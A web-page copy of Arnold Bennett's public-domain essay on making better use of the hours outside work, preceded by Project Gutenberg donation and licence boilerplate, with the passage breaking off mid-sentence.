what<br />one has recently done, and what one is about to do--of a steady<br />looking at one's self in the face (disconcerting though the sight<br />may be).<br /><br />When shall this important business be accomplished? The solitude of<br />the evening journey home appears to me to be suitable for it. A<br />reflective mood naturally follows the exertion of having earned the<br />day's living. Of course if, instead of attending to an elementary<br />and profoundly important duty, you prefer to read the paper (which<br />you might just as well read while waiting for your dinner) I have<br />nothing to say. But attend to it at some time of the day you must.<br />I now come to the evening hours.<br /><br /><br />INTEREST IN THE ARTS<br /><br />Many people pursue a regular and uninterrupted course of idleness in<br />the evenings because they think that there is no alternative to<br />idleness but the study of literature; and they do not happen to have<br />a taste for literature. This is a great mistake.<br /><br />Of course it is impossible, or at any rate very difficult, properly<br />to study anything whatever without the aid of printed books. But if<br />you desire to understand the deeper depths of bridge or of boat-<br />sailing you would not be deterred by your lack of interest in<br />literature from reading the best books on bridge or boat-sailing.<br />We must, therefore, distinguish between literature, and books<br />treating of subjects not literary. I shall come to literature in<br />due course.<br /><br />Let me now remark to those who have never read Meredith, and who are<br />capable of being unmoved by a discussion as to whether Mr. Stephen<br />Phillips is or is not a true poet, that they are perfectly within<br />their rights. It is not a crime not to love literature. It is not a<br />sign of imbecility. The mandarins of literature will order out to<br />instant execution the unfortunate individual who does not<br />comprehend, say, the influence of Wordsworth on Tennyson. But that<br />is only their impudence. Where would they be, I wonder, if<br />requested to explain the influences that went to make Tschaikowsky's<br />"Pathetic Symphony"?<br /><br />There are enormous fields of knowledge quite outside literature<br />which will yield magnificent results to cultivators. For example<br />(since I have just mentioned the most popular piece of high-class<br />music in England to-day), I am reminded that the Promenade Concerts<br />begin in August. You go to them. You smoke your cigar or cigarette<br />(and I regret to say that you strike your matches during the soft<br />bars of the "Lohengrin" overture), and you enjoy the music. But you<br />say you cannot play the piano or the fiddle, or even the banjo; that<br />you know nothing of music.<br /><br />What does that matter? That you have a genuine taste for music is<br />proved by the fact that, in order to fill his hall with you and your<br />peers, the conductor is obliged to provide programmes from which bad<br />music is almost entirely excluded (a change from the old Covent<br />Garden days!).<br /><br />Now surely your inability to perform "The Maiden's Prayer" on a<br />piano need not prevent you from making yourself familiar with the<br />construction of the orchestra to which you listen a couple of nights<br />a week during a couple of months! As things are, you probably think<br />of the orchestra as a heterogeneous mass of instruments producing a<br />confused agreeable mass of sound. You do not listen for details<br />because you have never trained your ears to listen to details.<br /><br />If you were asked to name the instruments which play the great theme<br />at the beginning of the C minor symphony you could not name them for<br />your life's sake. Yet you admire the C minor symphony. It has<br />thrilled you. It will thrill you again. You have even talked about<br />it, in an expansive mood, to that lady--you know whom I mean. And<br />all you can positively state about the C minor symphony is that<br />Beethoven composed it and that it is a "jolly fine thing."<br /><br />Now, if you have read, say, Mr. Krehbiel's "How to Listen to Music"<br />(which can be got at any bookseller's for less than the price of a<br />stall at the Alhambra, and which contains photographs of all the<br />orchestral instruments and plans of the arrangement of orchestras)<br />you would next go to a promenade concert with an astonishing<br />intensification of interest in it. Instead of a confused mass, the<br />orchestra would appear to you as what it is--a marvellously balanced<br />organism whose various groups of members each have a different and<br />an indispensable function. You would spy out the instruments, and<br />listen for their respective sounds. You would know the gulf that<br />separates a French horn from an English horn, and you would perceive<br />why a player of the hautboy gets higher wages than a fiddler, though<br />the fiddle is the more difficult instrument. You would *live* at a<br />promenade concert, whereas previously you had merely existed there<br />in a state of beatific coma, like a baby gazing at a bright object.<br /><br />The foundations of a genuine, systematic knowledge of music might be<br />laid. You might specialise your inquiries either on a particular<br />form of music (such as the symphony), or on the works of a<br />particular composer. At the end of a year of forty-eight weeks of<br />three brief evenings each, combined with a study of programmes and<br />attendances at concerts chosen out of your increasing knowledge, you<br />would really know something about music, even though you were as far<br />off as ever from jangling "The Maiden's Prayer" on the piano.<br /><br />"But I hate music!" you say. My dear sir, I respect you.<br /><br />What applies to music applies to the other arts. I might mention<br />Mr. Clermont Witt's "How to Look at Pictures," or Mr. Russell<br />Sturgis's "How to Judge Architecture," as beginnings (merely<br />beginnings) of systematic vitalising knowledge in other arts, the<br />materials for whose study abound in London.<br /><br />"I hate all the arts!" you say. My dear sir, I respect you more and<br />more.<br /><br />I will deal with your case next, before coming to literature.<br /><br /><br />NOTHING IN LIFE IS HUMDRUM<br /><br />Art is a great thing. But it is not the greatest. The most<br />important of all perceptions is the continual perception of cause<br />and effect--in other words, the perception of the continuous<br />development of the universe--in still other words, the perception of<br />the course of evolution. When one has thoroughly got imbued into<br />one's head the leading truth that nothing happens without a cause,<br />one grows not only large-minded, but large-hearted.<br /><br />It is hard to have one's watch stolen, but one reflects that the<br />thief of the watch became a thief from causes of heredity and<br />environment which are as interesting as they are scientifically<br />comprehensible; and one buys another watch, if not with joy, at any<br />rate with a philosophy that makes bitterness impossible. One loses,<br />in the study of cause and effect, that absurd air which so many<br />people have of being always shocked and pained by the curiousness of<br />life. Such people live amid human nature as if human nature were a<br />foreign country full of awful foreign customs. But, having reached<br />maturity, one ought surely to be ashamed of being a stranger in a<br />strange land!<br /><br />The study of cause and effect, while it lessens the painfulness of<br />life, adds to life's picturesqueness. The man to whom evolution is<br />but a name looks at the sea as a grandiose, monotonous spectacle,<br />which he can witness in August for three shillings third-class<br />return. The man who is imbued with the idea of development, of<br />continuous cause and effect, perceives in the sea an element which<br />in the day-before-yesterday of geology was vapour, which yesterday<br />was boiling, and which to-morrow will inevitably be ice.<br /><br />He perceives that a liquid is merely something on its way to be<br />solid, and he is penetrated by a sense of the tremendous, changeful<br />picturesqueness of life. Nothing will afford a more durable<br />satisfaction than the constantly cultivated appreciation of this.<br />It is the end of all science.<br /><br />Cause and effect are to be found everywhere. Rents went up in<br />Shepherd's Bush. It was painful and shocking that rents should go<br />up in Shepherd's Bush. But to a certain point we are all scientific<br />students of cause and effect, and there was not a clerk lunching at<br />a Lyons Restaurant who did not scientifically put two and two<br />together and see in the (once) Two-penny Tube the cause of an<br />excessive demand for wigwams in Shepherd's Bush, and in the<br />excessive demand for wigwams the cause of the increase in the price<br />of wigwams.<br /><br />"Simple!" you say, disdainfully. Everything--the whole complex<br />movement of the universe--is as simple as that--when you can<br />sufficiently put two and two together. And, my dear sir, perhaps<br />you happen to be an estate agent's clerk, and you hate the arts, and<br />you want to foster your immortal soul, and you can't be interested<br />in your business because it's so humdrum.<br /><br />Nothing is humdrum.<br /><br />The tremendous, changeful picturesqueness of life is marvellously<br />shown in an estate agent's office. What! There was a block of<br />traffic in Oxford Street; to avoid the block people actually began<br />to travel under the cellars and drains, and the result was a rise of<br />rents in Shepherd's Bush! And you say that isn't picturesque!<br />Suppose you were to study, in this spirit, the property question in<br />London for an hour and a half every other evening. Would it not give<br />zest to your business, and transform your whole life?<br /><br />You would arrive at more difficult problems. And you would be able<br />to tell us why, as the natural result of cause and effect, the<br />longest straight street in London is about a yard and a half in<br />length, while the longest absolutely straight street in Paris<br />extends for miles. I think you will admit that in an estate agent's<br />clerk I have not chosen an example that specially favours my<br />theories.<br /><br />You are a bank clerk, and you have not read that breathless romance<br />(disguised as a scientific study), Walter Bagehot's "Lombard<br />Street"? Ah, my dear sir, if you had begun with that, and followed<br />it up for ninety minutes every other evening, how enthralling your<br />business would be to you, and how much more clearly you would<br />understand human nature.<br /><br />You are "penned in town," but you love excursions to the country and<br />the observation of wild life--certainly a heart-enlarging diversion.<br />Why don't you walk out of your house door, in your slippers, to the<br />nearest gas lamp of a night with a butterfly net, and observe the<br />wild life of common and rare moths that is beating about it, and<br />co-ordinate the knowledge thus obtained and build a superstructure<br />on it, and at last get to know something about something?<br /><br />You need not be devoted to the arts, not to literature, in order to<br />live fully.<br /><br />The whole field of daily habit and scene is waiting to satisfy that<br />curiosity which means life, and the satisfaction of which means an<br />understanding heart.<br /><br />I promised to deal with your case, O man who hates art and<br />literature, and I have dealt with it. I now come to the case of the<br />person, happily very common, who does "like reading."<br /><br /><br />SERIOUS READING<br /><br /><br />Novels are excluded from "serious reading," so that the man who,<br />bent on self-improvement, has been deciding to devote ninety minutes<br />three times a week to a complete study of the works of Charles<br />Dickens will be well advised to alter his plans. The reason is not<br />that novels are not serious--some of the great literature of the<br />world is in the form of prose fiction--the reason is that bad<br />novels ought not to be read, and that good novels never demand any<br />appreciable mental application on the part of the reader. It is only<br />the bad parts of Meredith's novels that are difficult. A good novel<br />rushes you forward like a skiff down a stream, and you arrive at the<br />end, perhaps breathless, but unexhausted. The best novels involve<br />the least strain. Now in the cultivation of the mind one of the<br />most important factors is precisely the feeling of strain, of<br />difficulty, of a task which one part of you is anxious to achieve<br />and another part of you is anxious to shirk; and that feeling<br />cannot be got in facing a novel. You do not set your teeth in order<br />to read "Anna Karenina." Therefore, though you should read novels,<br />you should not read them in those ninety minutes.<br /><br />Imaginative poetry produces a far greater mental strain than novels.<br />It produces probably the severest strain of any form of literature.<br />It is the highest form of literature. It yields the highest form of<br />pleasure, and teaches the highest form of wisdom. In a word, there<br />is nothing to compare with it. I say this with sad consciousness of<br />the fact that the majority of people do not read poetry.<br /><br />I am persuaded that many excellent persons, if they were confronted<br />with the alternatives of reading "Paradise Lost" and going round<br />Trafalgar Square at noonday on their knees in sack-cloth, would<br />choose the ordeal of public ridicule. Still, I will never cease<br />advising my friends and enemies to read poetry before anything.<br /><br />If poetry is what is called "a sealed book" to you, begin by reading<br />Hazlitt's famous essay on the nature of "poetry in general." It is<br />the best thing of its kind in English, and no one who has read it<br />can possibly be under the misapprehension that poetry is a mediaeval<br />torture, or a mad elephant, or a gun that will go off by itself and<br />kill at forty paces. Indeed, it is difficult to imagine the mental<br />state of the man who, after reading Hazlitt's essay, is not urgently<br />desirous of reading some poetry before his next meal. If the essay<br />so inspires you I would suggest that you make a commencement with<br />purely narrative poetry.<br /><br />There is an infinitely finer English novel, written by a woman, than<br />anything by George Eliot or the Brontes, or even Jane Austen, which<br />perhaps you have not read. Its title is "Aurora Leigh," and its<br />author E.B. Browning. It happens to be written in verse, and to<br />contain a considerable amount of genuinely fine poetry. Decide to<br />read that book through, even if you die for it. Forget that it is<br />fine poetry. Read it simply for the story and the social ideas. And<br />when you have done, ask yourself honestly whether you still dislike<br />poetry. I have known more than one person to whom "Aurora Leigh" has<br />been the means of proving that in assuming they hated poetry they<br />were entirely mistaken.<br /><br />Of course, if, after Hazlitt, and such an experiment made in the<br />light of Hazlitt, you are finally assured that there is something in<br />you which is antagonistic to poetry, you must be content with<br />history or philosophy. I shall regret it, yet not inconsolably.<br />"The Decline and Fall" is not to be named in the same day with<br />"Paradise Lost," but it is a vastly pretty thing; and Herbert<br />Spencer's "First Principles" simply laughs at the claims of poetry<br />and refuses to be accepted as aught but the most majestic product of<br />any human mind. I do not suggest that either of these works is<br />suitable for a tyro in mental strains. But I see no reason why any<br />man of average intelligence should not, after a year of continuous<br />reading, be fit to assault the supreme masterpieces of history or<br />philosophy. The great convenience of masterpieces is that they are<br />so astonishingly lucid.<br /><br />I suggest no particular work as a start. The attempt would be<br />futile in the space of my command. But I have two general<br />suggestions of a certain importance. The first is to define the<br />direction and scope of your efforts. Choose a limited period, or a<br />limited subject, or a single author. Say to yourself: "I will know<br />something about the French Revolution, or the rise of railways, or<br />the works of John Keats." And during a given period, to be settled<br />beforehand, confine yourself to your choice. There is much pleasure<br />to be derived from being a specialist.<br /><br />The second suggestion is to think as well as to read. I know people<br />who read and read, and for all the good it does them they might just<br />as well cut bread-and-butter. They take to reading as better men<br />take to drink. They fly through the shires of literature on a<br />motor-car, their sole object being motion. They will tell you how<br />many books they have read in a year.<br /><br />Unless you give at least forty-five minutes to careful, fatiguing<br />reflection (it is an awful bore at first) upon what you are reading,<br />your ninety minutes of a night are chiefly wasted. This means that<br />your pace will be slow.<br /><br />Never mind.<br /><br />Forget the goal; think only of the surrounding country; and after a<br />period, perhaps when you least expect it, you will suddenly find<br />yourself in a lovely town on a hill.<br /><br /><br />DANGERS TO AVOID<br /><br />I cannot terminate these hints, often, I fear, too didactic and<br />abrupt, upon the full use of one's time to the great end of living<br />(as distinguished from vegetating) without briefly referring to<br />certain dangers which lie in wait for the sincere aspirant towards<br />life. The first is the terrible danger of becoming that most odious<br />and least supportable of persons--a prig. Now a prig is a pert<br />fellow who gives himself airs of superior wisdom. A prig is a<br />pompous fool who has gone out for a ceremonial walk, and without<br />knowing it has lost an important part of his attire, namely, his<br />sense of humour. A prig is a tedious individual who, having made a<br />discovery, is so impressed by his discovery that he is capable of<br />being gravely displeased because the entire world is not also<br />impressed by it. Unconsciously to become a prig is an easy and a<br />fatal thing.<br /><br />Hence, when one sets forth on the enterprise of using all one's<br />time, it is just as well to remember that one's own time, and not<br />other people's time, is the material with which one has to deal;<br />that the earth rolled on pretty comfortably before one began to<br />balance a budget of the hours, and that it will continue to roll on<br />pretty comfortably whether or not one succeeds in one's new role of<br />chancellor of the exchequer of time. It is as well not to chatter<br />too much about what one is doing, and not to betray a too-pained<br />sadness at the spectacle of a whole world deliberately wasting so<br />many hours out of every day, and therefore never really living. It<br />will be found, ultimately, that in taking care of one's self one has<br />quite all one can do.<br /><br />Another danger is the danger of being tied to a programme like a<br />slave to a chariot. One's programme must not be allowed to run away<br />with one. It must be respected, but it must not be worshipped as a<br />fetish. A programme of daily employ is not a religion.<br /><br />This seems obvious. Yet I know men whose lives are a burden to<br />themselves and a distressing burden to their relatives and friends<br />simply because they have failed to appreciate the obvious. "Oh,<br />no," I have heard the martyred wife exclaim, "Arthur always takes<br />the dog out for exercise at eight o'clock and he always begins to<br />read at a quarter to nine. So it's quite out of the question that<br />we should. . ." etc., etc. And the note of absolute finality in<br />that plaintive voice reveals the unsuspected and ridiculous tragedy<br />of a career.<br /><br />On the other hand, a programme is a programme. And unless it is<br />treated with deference it ceases to be anything but a poor joke. To<br />treat one's programme with exactly the right amount of deference, to<br />live with not too much and not too little elasticity, is scarcely<br />the simple affair it may appear to the inexperienced.<br /><br />And still another danger is the danger of developing a policy of<br />rush, of being gradually more and more obsessed by what one has to<br />do next. In this way one may come to exist as in a prison, and one's<br />life may cease to be one's own. One may take the dog out for a walk<br />at eight o'clock, and meditate the whole time on the fact that one<br />must begin to read at a quarter to nine, and that one must not be<br />late.<br /><br />And the occasional deliberate breaking of one's programme will not<br />help to mend matters. The evil springs not from persisting without<br />elasticity in what one has attempted, but from originally attempting<br />too much, from filling one's programme till it runs over. The only<br />cure is to reconstitute the programme, and to attempt less.<br /><br />But the appetite for knowledge grows by what it feeds on, and there<br />are men who come to like a constant breathless hurry of endeavour.<br />Of them it may be said that a constant breathless hurry is better<br />than an eternal doze.<br /><br />In any case, if the programme exhibits a tendency to be oppressive,<br />and yet one wishes not to modify it, an excellent palliative is to<br />pass with exaggerated deliberation from one portion of it to<br />another; for example, to spend five minutes in perfect mental<br />quiescence between chaining up the St. Bernard and opening the book;<br />in other words, to waste five minutes with the entire consciousness<br />of wasting them.<br /><br />The last, and chiefest danger which I would indicate, is one to<br />which I have already referred--the risk of a failure at the<br />commencement of the enterprise.<br /><br />I must insist on it.<br /><br />A failure at the commencement may easily kill outright the newborn<br />impulse towards a complete vitality, and therefore every precaution<br />should be observed to avoid it. The impulse must not be over-taxed.<br />Let the pace of the first lap be even absurdly slow, but let it be<br />as regular as possible.<br /><br />And, having once decided to achieve a certain task, achieve it at<br />all costs of tedium and distaste. The gain in self-confidence of<br />having accomplished a tiresome labour is immense.<br /><br />Finally, in choosing the first occupations of those evening hours,<br />be guided by nothing whatever but your taste and natural<br />inclination.<br /><br />It is a fine thing to be a walking encyclopaedia of philosophy, but<br />if you happen to have no liking for philosophy, and to have a like<br />for the natural history of street-cries, much better leave<br />philosophy alone, and take to street-cries.<img src="" height="1" width="1" alt=""/>Serge Lopez To Create Your DVD1. Copy DVD to DVD, <br />1.1 if original DVD is less than 4,7 GB, copy 1 on 1 with Clone DVD<br /> 'Copy DVD Titles'<br /> (if DVD is copy protected go to 1.3)<br /><br />1.2 if original DVD is larger than 4,7 GB<br />1.3 use Super DVD Copy to rip original DVD, (no split)<br />1.4 then burn DVD with Clone DVD(choose what you want to burn,<br /> leaving extra's out will better the quality of the movie,<br /> see the 'red to green'-bar... green being the better quality)<br /><br /><br />2. make DVD from AVI(DivX, Xvid)/Mpg2 File(s)<br /><br /> (I expect you have all your codecs installed....)<br /> <br />2.1 start Cucusoft Avi to DVD converter,<br /> choose Avi to DVD, in Merge/Join Add AVI file(s)<br /> select PAL, add subtitles(make sure to name them the same as the avi,<br /> and are in the same directory!!)<br /> keep aspect ratio<br /> (ignore Xvid errors, click ok, it seems to work fine)<br /><br />2.2 now you will have mpg2 files which you will have to convert to <br /> VOB BUP and IFO files for the DVD<br /><br /><br />3. convert MPG2 file(s)s to DVD(VOB BUP and IFO files)<br /><br />3.1 start TMPGEncDVDAuthor16<br /> in Source Setup, Add (the Mpg2) file(s)<br /> name the menu's/titles/tracks<br /> go to Output, and click on Begin Output<br /> <br />3.2 all the needed files will be in one directory,<br /> (to check if the conversion went OK, you can play the VOB files<br /> and see if audio and video match... I use PowerDVD to play them)<br /> to make the DVD: burn DVD with Clone DVD, make sure to choose <br /> the directory in which you have saved the VOB BUP and IFO files<img src="" height="1" width="1" alt=""/>Serge Lopez
http://feeds.feedburner.com/HowToMakeEverything
CC-MAIN-2018-09
refinedweb
34,709
62.88
Don't be afraid of buying an annuity: An annuity can be good value if you use it right. Lots of personal finance bloggers don't like annuities. And I can understand why. But I don't agree. If you understand what annuities are for and use them right they can be a very useful addition to your portfolio. But before I explain why I think annuities can be a valuable and useful of your portfolio, let's look at the reasons some people don't like them. Criticisms of annuities 1. Poor value If you look purely at a return on capital then annuities don't usually do as well as other investments. That's true - but that's because you are paying for the insurance they offer against living too long and running out of money. If you factor that in, the equation might be different. 2. Too complicated Annuity contracts are often far too complicated with options, investment guarantees and other bells and whistles. I think the industry could do a lot to simplify this and make everyone's lives easier. But until then, you will have to do it for yourself. Understand what you want to protect against and make sure that your contract does that. And avoid add-ons you don't need or understand. You might find it helpful to speak to a good broker, who can explain what the various terms mean. 3. Not flexible Annuity contracts are generally fixed for life (one of the reasons it's important to shop around). Which means if your needs change you can't adapt. But if you can afford to keep some of savings for a rainy day, that can give you the flexibility you need. No one is suggesting you put all of your money into annuities. 4. Losing your capital This I am afraid is the inevitable trade off. If you want the insurance company to pay out more if you live longer, you have to accept that they will pay less if you don't. That's the deal, no way round it. But there are ways to soften the blow. Many annuities allow you to select a "guarantee period" (at a small price) which means if you die early in the contract your estate will get some of your money back. If you are really concerned about "losing out" because of dying before your time, look into the option of a guarantee to put your mind at rest. Would you buy an annuity? Will you make an annuity part of your retirement portfolio? Investing the rest of your pot Once you have used annuities to make sure you are financially secure, you can be more relaxed about investing the rest of your portfolio in higher reward (but also higher risk) kinds of investment. Find out more about investing in: These and other kinds of investment can bring better returns on average over the long term than standard "vanilla" annuities can - but they don't offer you protection against running out of money. As always make sure that the mix of risk and reward in your portfolio suits your taste and circumstances. Annuities can be "good value" and an important part of your portfolio, if they are used correctly. First understand what annuities are. They are insurance. They are not going to make you rich, but they might make sure you don't end up poor. An annuity basically insures you against running out of money when you are old. If you live longer than expected an annuity that pays out for the rest of your life can really dig you out of a hole. Remember - there is no such thing as a free lunch when investing. Passing that risk to an insurer comes at a price - remember lower risk comes with lower return. But the sacrifice of a lower return can be worth it, if it means you don't have to worry about living on hand outs in your old age. Second, don't buy something you don't understand. Many annuity contracts are too complicated. This makes it hard to shop around effectively and very hard to know if you are getting value for your hard earned money. Buy something simple which has a payment structure you understand. You need to know what you are going to get and when in order to make sure the annuity is doing it's job of providing a stable income. If you do decide to go for a product which includes investment bonuses or other top ups or contingent payments make sure that the base amount (assuming you get no bonuses) is enough for you to live on. Then the bonuses can be extra money to spend on little luxuries. If you are relying on payments which are not guaranteed to make sure you have a decent standard of living you might as well not have bothered buying an annuity at all. Third, don't rely on annuities alone (if you can afford not to). Assuming you have enough money to provide more than just the basics, you don't need to put it all into annuities. Use annuities to provide a base income that you think will make sure you are comfortable and can survive your old age. Then you are free to invest the rest of your capital in more lucrative assets that will earn you a better return (but won't guarantee to feed you into nineties like an annuity will). If you are wealthy enough that even if you took a big hit on your investments you still would be more than comfortable, then it's quite possible annuities won't be for you. You won't need that sort of protection - but you should have planned (or paid someone to plan) your investments so that they will offer you some protection in a market crash or crisis. And finally I accept annuities won't be for everyone. And many people are sold annuities that are not right for them at all. But don't let that stop you making annuities work for you. Annuities can be a really good way of protecting yourself from poverty in old age and everyone should consider making them part of their retirement portfolio. Annuities won't make you rich but they can stop you from being terribly poor. And that security can let you invest more freely with the rest of your money. If you use them wisely there is no reason to be afraid of buying annuities. I've noticed annuities get a lot of bad rap - Suze Orman blasts them - but personally, I think they're great. I bought a John Hancock annuity 7 years ago, and am very happy with it. It accumulates at 7%, and when I'm ready to retire, it will pay 5%. That means for the rest of my life, I will get 2% cost of living increases. Will it make me rich? If I put a ton of money in there, it will! Since I am limited as to how much I can contribute annually, I plan on putting excess savings into coupon bonds and making arrangements for my own cost-of-living increases. Regarding the relatively low earnings on conservative investments like annuities and bonds - remember, the higher the return, the greater the risk. Beware of greed! I understand Suze Orman herself has $25 million, but only $1 million is invested in risky stocks. I have two warnings regarding annuities; first, NEVER withdraw the principal, since your income is based on that. Second, beware of when you buy them. I understand one way people are ripped off is, an unethical broker will sell an annuity to 70 year olds, who then have to sit on it for several years - in some cases, as long as 20 - before they can withdraw from it. I was 47 years old when I bought mine, and had to sit on it for 7 years, which didn't bother me because I have to be 59 1/2 before withdrawing from it. So you need to check clauses like that. Just my 2 cents. I noticed you've written a lot of hubs about investing. Am I accurate???
https://hubpages.com/money/Dont-be-afraid-of-buying-an-annuity-An-annuity-can-be-good-value-if-you-use-it-right
CC-MAIN-2021-21
refinedweb
1,381
71.14
Summary This article will help the users to examine the use of HTTP Modules and their use in extending the pipeline. The HTTP Pipeline is a series of extensible objects that are initiated by the ASP.NET runtime in order to process a request. Http Handlers and Http Modules are .NET components that serve as the main points of extensibility in the pipeline. This article, will demonstrate how to create an HTTP Module. Http modules are filters that can pre and post-process requests as they pass through the pipeline. As a matter of fact, many of the services provided by ASP.NET are implemented as HTTP Modules. Examples are modules which are used to implement ASP.NET security as well as ASP.NET session state. At the most fundamental level, ASP.NET HTTP Modules are classes which implement the System.Web.IHttpModule interface, illustrated below: public interface IHttpModule { void Dispose(); void Init(HttpApplication context); } In order to insure that your HttpHandler is hooked up to the HTTP pipeline requires an entry in the application's web config. or the machine.config file. The same holds true for HTTP modules. When an HTTP Module is added to the pipeline, the ASP.NET runtime will call the methods of the IHttpModule interface at the appropriate times. When the module is first created by the runtime, the Init method is called. As illustrated above, the parameter passed into the Init method allows your code to tie into the HttpApplication object. The following table lists the key events exposed by the HttpApplication object. Note that all these events are implemented as multicast delegates so that numerous modules can register for each one. Event When It's Called addition to the above methods, we can also respond to the methods in the global.asax file for the HttpApplication object. These events include the session start and end events, as well as the start and end events for the application. Let's create a simple HTTP module and hook it up to the pipeline. In the following example, the SampleModule class implements the IHttpModule interface. When the Init method is called by the runtime, the module "hooks up" to the events of the HttpApplication object. In this example, we have registered for the application's BeginRequest event as well as its EndRequest event. In our implementation of these methods, we simply record the time the request was sent in, and then we record the difference between times when the request is finished. In order to send the output to the response stream in some fashion, we add the result to the header of the HTTP response. using System; using System.Web; namespace MikeModules { public class SampleModule : IHttpModule { DateTime beginrequest; public void Init(HttpApplication app) { // register for events created by the pipeline app.BeginRequest += new EventHandler(this.OnBeginRequest); pp.EndRequest += new EventHandler(this.OnEndRequest); } public void Dispose() {} public void OnBeginRequest(object o, EventArgs args) { // obtain the time of the current request beginrequest = DateTime.Now; } public void OnEndRequest(object o, EventArgs args) { // get the time elapsed for the request TimeSpan elapsedtime = DateTime.Now - beginrequest; // get access to application object and the context object HttpApplication app =(HttpApplication) o; HttpContext ctx = app.Context; // add header to HTTP response ctx.Response.AppendHeader("ElapsedTime", elapsedtime.ToString()); }} } Similar to ASP.NET HTTP Handlers, we need to notify the ASP.NET runtime that we wish to hook up our module to the pipeline. Once the module has been built and deployed to the application's bin directory or the machine's GAC, it must be registered in either the web.config file or the machine.config file. The following code adds a module to the IIS metabase: <httpModules> <add type="classname, assemblyname" name="modulename"/> <httpModules> In order to add our module, we must implement the following code in the web.config file: <configuration> <system.web> <httpModules> <add name="TimeElapsedModule" type="SampleModules.SampleModule,SampleModules "/> </httpModules> </system.web> </configuration> In this example, the Web.config file tells the pipeline to attach an instance of the SampleModules.SimpleModule class to every HttpApplication object instantiated to service requests that target this application. One of the most common operations when intercepting an HTTP request is to terminate the request. This is very common in custom authentication modules added to ASP.NET. In this case, the HttpApplication class has a method called CompleteRequest that is called for finishing the request. Calling CompleteRequest with the appropriate status codes can terminate the request. ASP.NET HTTP Modules can be used to further extend the HTTP pipeline. Many of the services provided by the runtime are indeed implemented as HTTP modules. Common uses for creating custom modules include custom authentication and authorization schemes, in addition to any other filtering services that your application needs. Pros and Cons of ActiveX and DHTML Controls Paging in ASP.NET
http://www.c-sharpcorner.com/UploadFile/hemantkathuria/ASPNetHttpModules11262005004251AM/ASPNetHttpModules.aspx
CC-MAIN-2014-10
refinedweb
804
50.33
EL 3.0 specification says in 1.22.2 "Imports of Packages, Classes, and Static Fields" that "Importing a package imports all the classes in the package." I think that that is wrong and it shall actually say that it imports all *public* classes in the package. It may result in spirituous conflicts during resolveClass() -- see the example below. Consider the following example: ================================ Mr.Cameron has class com.cameron.Terminator and uses package import to make it accessible. ImportHandler handler = new ImportHandler(); handler.importPackage("com.cameron"); handler.resolveClass("Terminator"); If it really were importing all classes from a package, the above code will run successfully on some JRE, but will fail on Oracle Java 7 JRE that has "java.lang.Terminator" class, due to ambiguity between the two classes. The "java.lang.Terminator" class is not part of public API of a JRE. A JRE vendor is free to add such classes. It should not cause such spiritual failures. Javadoc for javax.el.ImportHandler in JavaEE 7 [1] says that resolveClass(String) throws ELException - if the class is <...> not public. If resolveClass(String) method were changed to return 'null' for non-public classes instead of throwing an ELException, it would be a bit easier to implement. [1] I'm guessing you mean spurious rather than spirituous/spiritual. I agree the text in the spec is likely to be wrong but the text is clear. I suggest we seek clarification from the EG before continuing else we risk different behaviour in different implementations. (In reply to Mark Thomas from comment #1) > I'm guessing you mean spurious rather than spirituous/spiritual. I meant unexpected and mysterious. > I agree the text in the spec is likely to be wrong but the text is clear. I > suggest we seek clarification from the EG before continuing else we risk > different behaviour in different implementations. OK. I am changing status to NEEDINFO for now. I think that if there are both public and non-public class from package imports, we would be pretty safe to prefer the public class. There has been no input from the EG so lets proceed on the basis that this bug is valid. Fixed in trunk and 8.0.x for 8.0.21 onwards,
https://bz.apache.org/bugzilla/show_bug.cgi?id=57135
CC-MAIN-2019-39
refinedweb
375
58.89
Common Web Project Conversion Issues and Solutions Michael Bundschuh Program Manager, Microsoft Robert McGovern Infusion Development November 2005 (Updated for the Visual Studio 2005 RTM release) Applies to: ASP.NET 1.x ASP.NET 2.0 Visual Studio .NET 2003 Visual Studio 2005 Summary: Reviews both Visual Studio 2005 Web project and ASP.NET 2.0 framework changes that affect Web project conversion, and then discusses common issues and solutions for converting using Visual Studio 2005. (31 printed pages) Contents Part 1: Web Project Changes What Is ASP.NET and Visual Studio? Web Project Changes New Features Converting a Web Project The Conversion Wizard The Conversion Report Part 2: Common Conversion Issues Issue 1: Code-behind class file (CB-CB) references Issue 2: Stand-alone class file (SA–CB) references Issue 3: Circular references Issue 4: Resource Manager Issue 5: Excluded files are no longer excluded Issue 6: Orphaned resx files Issue 7: Extra types in a code-behind file Issue 8: Accessing an auto-generated control variable Issue 9: Unable to switch to design view Issue 10: Unable to parse filename Part 3: Other Conversion Issues Issue 11: Backup folder in the Web project folder Issue 12: Multiple projects in the same location Issue 13: Multiple projects referring to the same files Issue 14: Invalid access modifier Issue 15: Converting excluded files Issue 16: Duplicate variable declarations Issue 17: Sub-Web applications Issue 18: OnInit() not removed Issue 19: XHTML validation errors Issue 20: Multiple configurations Issue 21: Auto-generated members hide inherited members Issue 22: Ambiguous references and naming conflicts Issue 23: Event handlers called multiple times Issue 24: Code-behind files moved to the App_Code folder Issue 25: Projects referencing a Web project Issue 26: Sharing the same code-behind file Issue 27: Partially converted solutions Issue 28: No command-line migration for C# Issue 29: Batch = True or False Summary Appendix A: Actual Error Messages Part 1: Web Project Changes As you convert your Visual Studio 2002/2003 Web projects to Visual Studio 2005, you may encounter issues with the changes made in the Web project system. In this article, we will look at both the conversion process and some of the common issues you may encounter during a conversion. What Is ASP.NET and Visual Studio? ASP.NET is a technology for creating dynamic Web applications. ASP.NET pages (Web Forms) are compiled and allow you to build powerful forms-based Web pages. When building these pages, you can use ASP.NET user controls to create common UI elements and program them for common tasks. Visual Studio is an integrated development environment (IDE) that developers can use to create programs in one of many languages, including C# and Visual Basic, for the .NET Framework. You will find that converting your Web application to use the new Visual Studio 2005 and ASP.NET 2.0 features both simplifies your development and gives you more options for compiling and deploying your code. Web Project Changes These changes affect how you develop, configure, and deploy your Web applications. As either a developer or a Web site administrator, you will need to be aware of these changes in order to properly build, deploy, and maintain your Web applications. - No project file. Visual Studio 2005 no longer uses a project file to explicitly list the files in your Web project. Instead, it considers all files and folders to be part of the Web project. Project information that was stored in the project file is now stored in the solution or Web.config file. - Special directories. An ASP.NET 1.x application has one required folder (\bin) for containing assemblies. An ASP.NET 2.0 application has a larger defined folder structure. The new directories start with the prefix "App_" and are designed for storing resources, assemblies, source code, and other components. The new folder structure helps eliminate the need for a project file and also enables some new options for deployment. - Code-behind model. In ASP.NET 1.x, the code-behind model allows separation of content (e.g. foo.aspx) from code (e.g. foo.aspx.vb). The content page inherits from the code-behind page and the code-behind page contains both user and designer generated code. ASP.NET 2.0 enhances the code-behind model with partial classes, which allows a class to span multiple files. In the new code-behind model, the content page inherits from a compiled class consisting of its corresponding code-behind page plus an 